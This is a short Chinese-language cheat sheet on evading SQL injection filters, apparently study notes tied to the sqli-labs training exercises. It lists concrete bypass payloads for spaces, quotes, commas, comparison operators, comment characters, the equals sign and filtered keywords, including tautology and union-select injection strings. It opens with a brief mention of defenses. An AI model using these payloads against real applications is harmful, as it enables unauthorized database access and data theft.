ByPass

SQL注入ByPass是指攻击者通过各种手段绕过应用程序中已经实施的SQL注入防御措施,例如输入恶意数据、修改请求头等方式,绕过过滤、转义、限制等操作,从而成功地执行恶意SQL语句。攻击者使用SQL注入ByPass技术可以让应用程序的防御措施失效,使得SQL注入攻击成功。因此,防范SQL注入攻击需要采取综合的安全措施,包括正确的SQL语句编写、使用参数化查询、限制用户输入、过滤和转义特殊字符等。

绕过空格

替换 说明
/**/ 内联注释符
%a0 URL编码
%09 php里会被当作Tab键
%0a php里会被当作换行键
() 括号
+ 加号

绕过 引号" table_name=”users”

  1. 使用16进制编码

    Hex编码/解码 - 107000

  2. 使用拼接字符串
    例如将"username"替换'username'+' '

绕过 逗号, Substr(database(),1,1)

用from,for绕过 select substr(database() from 1 for 1);

另外,如果substr被过滤,可以用mid()来代替, 还可以用right(),left()

绕过 大于号小于号>< ascill(substr(database(),0,1))>

  1. 用greatest(),least() 绕过(前者返回最大值,后者返回最小值)
    greatest(ascill(substr(database(),0,1)),64)=64
  2. 或者用between a and z来返回a与z之间的数据==不包括z==

绕过注释符 # –+ – -

  1. %23 (#的URL编码)
  2. 或者通过闭合后面的引号来进行绕过
  3. id=1' union select 1,2,'3
  4. id=1' or '1'='1

绕过 等于号 =

  1. 使用大于号小于号
  2. like MySQL里的模糊查询
  3. rlike
  4. regexp 正则表达式

绕过 union select where 关键字

例如 sqlilabs less25

  1. 双写绕过 uniunionon

  2. U/**/NION/**/SE/**/LECT (成功率较低)

  3. 大小写绕过 UniOn aNd